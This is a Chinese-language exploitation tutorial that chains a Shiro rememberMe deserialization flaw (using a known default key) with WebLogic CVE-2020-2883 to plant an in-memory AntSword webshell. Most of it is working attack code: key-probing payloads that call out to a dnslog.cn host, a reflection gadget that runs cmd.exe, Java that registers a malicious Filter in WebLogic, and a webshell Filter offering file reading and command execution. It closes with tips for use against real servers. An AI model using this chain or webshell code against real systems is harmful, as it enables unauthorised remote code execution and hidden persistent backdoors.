使用WebLogic CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell
字数 1227 2025-08-20 18:17:31
WebLogic CVE-2020-2883配合Shiro rememberMe反序列化注入蚁剑Shell技术分析
技术背景
本文详细分析如何利用WebLogic CVE-2020-2883漏洞配合Shiro rememberMe反序列化漏洞实现一键注入蚁剑Shell的技术。该技术结合了两个漏洞的利用链,最终实现了在WebLogic服务器上植入内存WebShell。
前置知识
Shiro rememberMe反序列化漏洞
Shiro框架的rememberMe功能使用AES加密的序列化对象存储在Cookie中,攻击者可以利用已知密钥构造恶意序列化对象实现RCE。
WebLogic CVE-2020-2883漏洞
WebLogic T3协议反序列化漏洞,位于Coherence组件中,攻击者可以通过构造特殊的序列化对象触发RCE。
技术实现步骤
1. 判断Shiro正确的key
方法一:构造正确的Object
- 构造空的SimplePrincipalCollection对象
- 使用可能的key加密序列化后的对象
- 发送请求观察响应头:
- key正确时不返回"rememberMe=deleteMe"
- key错误时返回"deleteMe"
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
byte[] bytes = Serializables.serialize(simplePrincipalCollection);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
方法二:URLDNS探测
- 构造URLDNS payload
- 使用可能的key加密序列化后的对象
- 发送请求观察DNSLOG是否收到请求
URLDNS urldns = new URLDNS();
Object object = urldns.getObject("http://oq287o.dnslog.cn");
byte[] buf = Serializables.serialize(object);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
2. 构造CVE-2020-2883 gadget
利用ReflectionExtractor构造调用链:
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod",
new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke",
new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec",
new Object[]{new String[]{"cmd.exe", "/c", "ping test.oq287o.dnslog.cn"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
3. WebLogic内存Shell实现
通过反射获取WebLogic内部对象并注册Filter:
// 获取当前ExecuteThread
Class<?> executeThread = Class.forName("weblogic.work.ExecuteThread");
Method m = executeThread.getDeclaredMethod("getCurrentWork");
Object currentWork = m.invoke(Thread.currentThread());
// 获取connectionHandler
Field connectionHandlerF = currentWork.getClass().getDeclaredField("connectionHandler");
connectionHandlerF.setAccessible(true);
Object obj = connectionHandlerF.get(currentWork);
// 获取request对象
Field requestF = obj.getClass().getDeclaredField("request");
requestF.setAccessible(true);
obj = requestF.get(obj);
// 获取context对象
Field contextF = obj.getClass().getDeclaredField("context");
contextF.setAccessible(true);
Object context = contextF.get(obj);
// 获取classLoader
Field classLoaderF = context.getClass().getDeclaredField("classLoader");
classLoaderF.setAccessible(true);
ClassLoader cl = (ClassLoader) classLoaderF.get(context);
// 定义恶意Filter类
byte[] codeClass = getBytesByFile("MyAntShellFilter.class");
Method defineClass = cl.getClass().getSuperclass().getSuperclass().getSuperclass()
.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
Class evilFilterClass = (Class) defineClass.invoke(cl, codeClass, 0, codeClass.length);
// 注册Filter
Method getFilterManagerM = context.getClass().getDeclaredMethod("getFilterManager");
Object filterManager = getFilterManagerM.invoke(context);
Method registerFilterM = filterManager.getClass().getDeclaredMethod("registerFilter",
String.class, String.class, String[].class, String[].class, Map.class, String[].class);
registerFilterM.invoke(filterManager, evilName, filterName, url, null, null, null);
4. 蚁剑Filter Shell实现
关键点在于实现Filter接口并处理蚁剑的通信协议:
public class MyAntShellFilter implements Filter {
String Pwd = "ant"; // 连接密码
String encoder = ""; // 数据编码方式
String cs = "UTF-8"; // 脚本自身编码
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
if (request.getParameter("size") != null) {
// 处理蚁剑请求
String funccode = EC(request.getParameter(Pwd) + "");
String z0 = decode(EC(request.getParameter("z0") + ""), encoder);
String z1 = decode(EC(request.getParameter("z1") + ""), encoder);
String z2 = decode(EC(request.getParameter("z2") + ""), encoder);
String z3 = decode(EC(request.getParameter("z3") + ""), encoder);
// 实现文件操作、命令执行等功能
if (funccode.equals("B")) { // 文件列表
sb.append(FileTreeCode(pars[1]));
} else if (funccode.equals("C")) { // 读取文件
sb.append(ReadFileCode(pars[1]));
} else if (funccode.equals("M")) { // 执行命令
sb.append(ExecuteCommandCode(pars[1], pars[2]));
}
// ...其他功能实现
} else {
chain.doFilter(request, response);
}
}
// 其他辅助方法...
}
完整利用流程
- 探测Shiro的rememberMe加密key
- 构造CVE-2020-2883的gadget,实现命令执行
- 通过命令执行将WebLogicEcho.class和MyAntShellFilter.class写入目标服务器
- 使用URLClassLoader加载WebLogicEcho.class
- WebLogicEcho在内存中注册蚁剑Filter Shell
- 使用蚁剑连接内存WebShell
注意事项
-
WebLogic环境下获取真实路径需要使用:
this.getClass().getClassLoader().getResource("/").getPath();而非传统的:
request.getServletContext().getRealPath("/"); -
字节码数组过长可能导致进程崩溃,建议分段写入或使用其他加载方式
-
目标服务器可能有负载均衡,需要考虑多节点同步问题
参考资源
总结
该技术结合了Shiro反序列化和WebLogic漏洞的利用链,实现了在WebLogic服务器上植入内存WebShell。关键点在于正确构造gadget、实现内存Shell的加载和蚁剑协议的适配。实际环境中可能遇到各种限制,需要根据具体情况调整利用方式。